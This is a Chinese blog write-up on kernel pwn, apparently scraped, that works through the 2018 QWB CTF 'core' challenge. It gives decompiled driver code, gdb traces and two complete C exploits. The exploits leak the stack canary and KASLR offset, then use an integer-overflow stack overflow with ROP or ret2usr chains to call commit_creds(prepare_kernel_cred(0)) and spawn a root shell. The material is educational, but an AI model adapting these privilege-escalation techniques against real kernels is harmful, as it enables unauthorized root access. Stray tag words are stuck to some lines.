kernel pwn学习 --栈溢出

本文记录我学习kernel pwn的过程,着重分析kernel pwn中栈相关的漏洞利用linux

这里以强网杯2018的一道题目为例展开分析c++

2018年强网杯core

与用户态的pwn题给一个二进制文件进行漏洞分析并攻击远程服务器不一样,内核态的pwn题是给选手一个虚拟的文件系统,主要是分析驱动文件中存在的漏洞,最终目的是将用户提权值root权限,因此内核态的exp也是用c语言编写。shell

题目文件bash

start.sh 开启环境的脚本服务器

vmlinux 未经压缩的内核函数

bzImage 压缩过的内核学习

core.cpio 压缩后的文件映像ui

解包:scala

mkdir core
mv core.cpio ./core/core.cpio.gz
cd core
gunzip core.cpio.gz
cpio -idmv < core.cpio

打包:3d

./gen_cpio.sh core.cpio
mv core.cpio ../core.cpio

驱动分析

init_module

建立一个虚拟文件

__int64 init_module()
{
  core_proc = proc_create("core", 438LL, 0LL, &core_fops);// create vitrul file core
  printk(&unk_2DE);
  return 0LL;
}

core_write

signed __int64 __fastcall core_write(__int64 fd, __int64 buf, unsigned __int64 n)
{
  unsigned __int64 v3; // rbx

  v3 = n;
  printk(&unk_215);
  if ( v3 <= 0x800 && !copy_from_user(&name, buf, v3) )
    return v3;
  printk(&unk_230);
  return 0xFFFFFFF2LL;
}

往全局变量name中写入数据

core_read

unsigned __int64 __fastcall core_read(__int64 fd)
{
  __int64 v1; // rbx
  __int64 *v2; // rdi
  signed __int64 i; // rcx
  unsigned __int64 result; // rax
  __int64 v5; // [rsp+0h] [rbp-50h]
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]

  v1 = fd;
  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = &v5;
  for ( i = 16LL; i; --i )
  {
    *v2 = 0;
    v2 = (v2 + 4);
  }
  strcpy(&v5, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(v1, &v5 + off, 0x40LL);
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}

从&v5(rbp-0x50)+off处读取0x40字节的数据到 v1(fd) => leak canary

core_copy_function

signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
  signed __int64 result; // rax
  __int64 v2; // [rsp+0h] [rbp-50h]
  unsigned __int64 v3; // [rsp+40h] [rbp-10h]

  v3 = __readgsqword(0x28u);
  printk(&unk_215);
  if ( a1 > 63 )
  {
    printk(&byte_2A1);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(&v2, &name, (unsigned __int16)a1);  // 存在整数溢出,溢出a1的值便可形成栈溢出
  }
  return result;
}

从name复制内存到v2,v2在栈上,配合整数溢出便可进行rop。

core_iotcl

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // rbx

  v3 = a3;
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk(&unk_2CD);
      off = v3;
      break;
    case 0x6677889A:
      printk(&byte_2B3);
      core_copy_func(v3);
      break;
  }
  return 0LL;
}

经过不一样命令执行core_read set_off core_copy_func

程序调试

本地qemu挂起,gdb接上端口调试

target remote:1234

获取core.ko的装载地址

cat /sys/module/core/sections/.text > /tmp/core.text

驱动加载基地址

add-symbol-file core.ko addr #addr为core.ko的装载地址

加载vmlinux的符号表

file  ./vmlinux

在未开启kaslr时,vmlinux的基地址是固定的。本题开了kaslr,因此须要将leak kaslr的偏移

vmlinux base = 0xffffffff81000000 #未开启kaslr时

设置off的值

将断点打在core_read+105

.text:00000000000000CC                 call    _copy_to_user
pwndbg> stack 20
00:0000│ rax rsi rsp  0xffffbcb3c00d3e18 ◂— push   rdi /* 0x20656d6f636c6557; 'Welcome to the QWB CTF challenge.\n' */
01:0008│              0xffffbcb3c00d3e20 ◂— je     0xffffbcb3c00d3e91 /* 0x5120656874206f74; 'to the QWB CTF challenge.\n' */
02:0010│              0xffffbcb3c00d3e28 ◂— push   rdi /* 0x6320465443204257; 'WB CTF challenge.\n' */
03:0018│              0xffffbcb3c00d3e30 ◂— push   0x656c6c61 /* 0x65676e656c6c6168; 'hallenge.\n' */
04:0020│              0xffffbcb3c00d3e38 ◂— 0xa2e /* '.\n' */
05:0028│              0xffffbcb3c00d3e40 ◂— 0
... ↓
08:0040│              0xffffbcb3c00d3e58 ◂— add    dh, al /* 0x402ff60dad7dc600 */   #cancary
09:0048│              0xffffbcb3c00d3e60 —▸ 0x1125dd0 ◂— 0
0a:0050│              0xffffbcb3c00d3e68 —▸ 0xffffffffc001319b (core_ioctl+60) ◂— jmp    0xffffffffc00131b5
0b:0058│              0xffffbcb3c00d3e70 —▸ 0xffffa3174752bc00 ◂— add    qword ptr [r8], rax /* 0x81b6f000014b */
0c:0060│              0xffffbcb3c00d3e78 —▸ 0xffffffffac3dd6d1 ◂— mov    rdi, rbx
0d:0068│              0xffffbcb3c00d3e80 ◂— wait    /* 0x889b */
0e:0070│              0xffffbcb3c00d3e88 —▸ 0xffffa31747aea900 ◂— 0
0f:0078│              0xffffbcb3c00d3e90 —▸ 0xffffffffac38ecfa ◂— cmp    eax, 0xfffffdfd
10:0080│              0xffffbcb3c00d3e98 —▸ 0xffffbcb3c00d3e70 —▸ 0xffffa3174752bc00 ◂— add    qword ptr [r8], rax /* 0x81b6f000014b */
11:0088│              0xffffbcb3c00d3ea0 ◂— 0
... ↓
13:0098│              0xffffbcb3c00d3eb0 —▸ 0xffffffffad456968 —▸ 0xffffffffad98af50 ◂— push   -0x52ba97 /* 0xffffffffad456968 */

经过调试能够发现,rsp+0x40处储存了canary的值

经过查看rsi寄存器的值肯定偏移

因此将off设置为0x40便可leak canary的值

ioctl(fd, INS_SET_OFF, 0x40);   // set off to 0x40
char *buf = (char *)malloc(0x40);   // buffer of leak data
ioctl(fd, INS_READ, buf);   // leak canary in kernel-stack
canary = *(size_t *)buf;

kernel rop

获取内核函数地址以及kaslr偏移

在kallsyms中存储了内核函数的地址,能够读取去获取内核态函数的地址,同时计算出kaslr的偏移

void leak_addr_of_kernel(){
    char *buf = (char *)malloc(0x50);
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");

    while(fgets(buf, 0x50, kallsyms)){
        if(strstr(buf, "prepare_kernel_cred")){
            sscanf(buf, "%lx", &prepare_kernel_cred);
            printf("[*] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
        }

        if(strstr(buf, "commit_creds")){
            sscanf(buf, "%lx", &commit_creds);
            printf("[*] commit_creds : 0x%lx\n", commit_creds);
            offest = commit_creds - 0xffffffff8109c8e0;
            vmlinux_base =  0xffffffff81000000 + offest;
            printf("[*] offset : 0x%lx\n", offest);
            printf("[*] vmlinux base : 0x%lx\n", vmlinux_base);
        }
    }
}

构造ROP链

rop链构造 执行commit_creds(prepare_kernel_cred(0)) 而后返回用户态开一个shell

for(i=0; i<10; i++){
        rop[i] = canary;
    } 
    rop[i++] = 0xffffffff81000b2f + offest;   // pop rdi ; ret
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;           // prepare_kernel_cred(0)
    rop[i++] = 0xffffffff810a0f49 + offest;   // pop rdx ; ret
    rop[i++] = commit_creds;
    rop[i++] = 0xffffffff8106a6d2 + offest;   // mov rdi, rax ; jmp rdx
    rop[i++] = 0xffffffff81a012da + offest;   // swapgs ; popfq ; ret
    rop[i++] = 0;
    rop[i++] = 0xffffffff81050ac2 + offest;   // iretq; ret;
    rop[i++] = (size_t)get_shell;              // rip
    rop[i++] = usr_cs;                     
    rop[i++] = usr_rflags;                 
    rop[i++] = usr_rsp;                    
    rop[i++] = usr_ss;

Expliot:

//gcc -static -masm=intel -g -o rop rop.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define SET_OFF 0x6677889C
#define READ 0x6677889B
#define COPY_FUNC 0x6677889A
void leak_addr_of_kernel();
void get_usr_regs();
void get_shell();

size_t canary = 0; // value of canary
size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr
size_t offest; // offset of kaslr
size_t vmlinux_base; //  vmlinux base address
size_t rop[100] = {0};  // payload
size_t usr_cs, usr_ss, usr_rsp, usr_rflags;  // registers of user mode

int main(){
    get_usr_regs();
    leak_addr_of_kernel();
    int fd = open("/proc/core", O_RDWR);
    if(fd < 0){
        puts("[!] fail to open file [!]");
        exit(0);
    }
    ioctl(fd, SET_OFF, 0x40);   // set off to 0x40
    char *buf = (char *)malloc(0x40);   // buffer of leak data
    ioctl(fd, READ, buf);   // leak canary in kernel-stack
    canary = *(size_t *)buf;
    printf("[*] canary : 0x%lx\n", canary);

    int i;
    for(i=0; i<10; i++){
        rop[i] = canary;
    }
    rop[i++] = 0xffffffff81000b2f + offest;   // pop rdi ; ret
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;           // prepare_kernel_cred(0)
    rop[i++] = 0xffffffff810a0f49 + offest;   // pop rdx ; ret
    rop[i++] = commit_creds;
    rop[i++] = 0xffffffff8106a6d2 + offest;   // mov rdi, rax ; jmp rdx
    rop[i++] = 0xffffffff81a012da + offest;   // swapgs ; popfq ; ret
    rop[i++] = 0;
    rop[i++] = 0xffffffff81050ac2 + offest;   // iretq; ret;
    rop[i++] = (size_t)get_shell;              
    rop[i++] = usr_cs;                     
    rop[i++] = usr_rflags;                 
    rop[i++] = usr_rsp;                    
    rop[i++] = usr_ss;                    

    write(fd, rop, 8*25);    
    ioctl(fd, COPY_FUNC,  0xf000000000000000+25*8); 
}

/* read symbols addr in /tmp/kallsyms and calc the vmlinux base */
void leak_addr_of_kernel(){
    char *buf = (char *)malloc(0x50);
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");

    while(fgets(buf, 0x50, kallsyms)){
        if(strstr(buf, "prepare_kernel_cred")){
            sscanf(buf, "%lx", &prepare_kernel_cred);
            printf("[*] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
        }

        if(strstr(buf, "commit_creds")){
            sscanf(buf, "%lx", &commit_creds);
            printf("[*] commit_creds : 0x%lx\n", commit_creds);
            offest = commit_creds - 0xffffffff8109c8e0;
            vmlinux_base =  0xffffffff81000000 + offest;
            printf("[*] offset : 0x%lx\n", offest);
            printf("[*] vmlinux base : 0x%lx\n", vmlinux_base);
        }
    }
}

void get_usr_regs(){
    __asm__(
        "mov usr_cs, cs;"
        "mov usr_ss, ss;"
        "mov usr_rsp, rsp;"
        "pushfq;"
        "pop usr_rflags;"
    );
    printf("[*] save regs of user mode, done !!!\n");
}

void get_shell(){
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[!] get_shell failed");
    }
    exit(0);
}

ret2usr

因为本题没有开smep保护,既能够在内核态执行用户空间的代码

能够把commit_creds(prepare_kernel_cred(0))写成一个函数直接在rop中执行

void privilege_escalation(){
    if(commit_creds && prepare_kernel_cred){
        (*((void (*)(char *))commit_creds))(
            (*((char* (*)(int))prepare_kernel_cred))(0)
        );
    }
}

在rop链上的构造与rop有所不一样

for(i=0; i<10; i++){
        rop[i] = canary;
    }
    rop[i++] = (size_t)privilege_escalation;
    rop[i++] = 0xffffffff81a012da + offest;   // swapgs ; popfq ; ret
    rop[i++] = 0;
    rop[i++] = 0xffffffff81050ac2 + offest;   // iretq; ret;
    rop[i++] = (size_t)shell;              // rip
    rop[i++] = usr_cs;                     // cs
    rop[i++] = usr_rflags;                 // rflags
    rop[i++] = usr_rsp;                    // rsp
    rop[i++] = usr_ss;                     // ss

Expliot:

/* compile  
gcc -static -masm=intel -g -o exp exp.c */
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define SET_OFF 0x6677889C
#define READ 0x6677889B
#define COPY_FUNC 0x6677889A
void leak_addr_of_kernel();
void get_usr_regs();
void privilege_escalation();
void get_shell();
size_t canary = 0; // value of canary
size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr
size_t offest; // offset of kaslr
size_t vmlinux_base; //  vmlinux base address
size_t rop[100] = {0};  // payload
size_t usr_cs, usr_ss, usr_rsp, usr_rflags;  // registers of user mode

int main(){
    get_usr_regs();
    leak_addr_of_kernel();
    int fd = open("/proc/core", O_RDWR);
    if(fd < 0){
        puts("[!] fail to open file [!]");
        exit(0);
    }
    ioctl(fd, SET_OFF, 0x40);   // set off to 0x40
    char *buf = (char *)malloc(0x40);   // buffer of leak data
    ioctl(fd, READ, buf);   // leak canary in kernel-stack
    canary = *(size_t *)buf;
    printf("[*] canary : 0x%lx\n", canary);

    int i;
    for(i=0; i<10; i++){
        rop[i] = canary;
    }
    rop[i++] = (size_t)privilege_escalation;
    rop[i++] = 0xffffffff81a012da + offest;   // swapgs ; popfq ; ret
    rop[i++] = 0;
    rop[i++] = 0xffffffff81050ac2 + offest;   // iretq; ret;
    rop[i++] = (size_t)get_shell;              // rip
    rop[i++] = usr_cs;                     // cs
    rop[i++] = usr_rflags;                 // rflags
    rop[i++] = usr_rsp;                    // rsp
    rop[i++] = usr_ss;                     // ss

    write(fd, rop, 8*25);    
    ioctl(fd, COPY_FUNC,  0xf000000000000000+25*8);
}
void leak_addr_of_kernel(){
    char *buf = (char *)malloc(0x50);
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");

    while(fgets(buf, 0x50, kallsyms)){
        if(strstr(buf, "prepare_kernel_cred")){
            sscanf(buf, "%lx", &prepare_kernel_cred);
            printf("[*] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
        }

        if(strstr(buf, "commit_creds")){
            sscanf(buf, "%lx", &commit_creds);
            printf("[*] commit_creds : 0x%lx\n", commit_creds);
            offest = commit_creds - 0xffffffff8109c8e0;
            vmlinux_base =  0xffffffff81000000 + offest;
            printf("[*] offset : 0x%lx\n", offest);
            printf("[*] vmlinux base : 0x%lx\n", vmlinux_base);
        }
    }
}

void get_usr_regs(){
    __asm__(
        "mov usr_cs, cs;"
        "mov usr_ss, ss;"
        "mov usr_rsp, rsp;"
        "pushfq;"
        "pop usr_rflags;"
    );
    printf("[*] save regs of user mode, done !!!\n");
}
void privilege_escalation(){
    if(commit_creds && prepare_kernel_cred){
        (*((void (*)(char *))commit_creds))(
            (*((char* (*)(int))prepare_kernel_cred))(0)
        );
    }
}

void get_shell(){
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[!] get_shell failed");
    }
    exit(0);
}

参考

http://p4nda.top/2018/07/13/ciscn2018-core/#core

https://www.sunxiaokong.xyz/2020-02-09/lzx-qwb2018-core/

相关文章
相关标签/搜索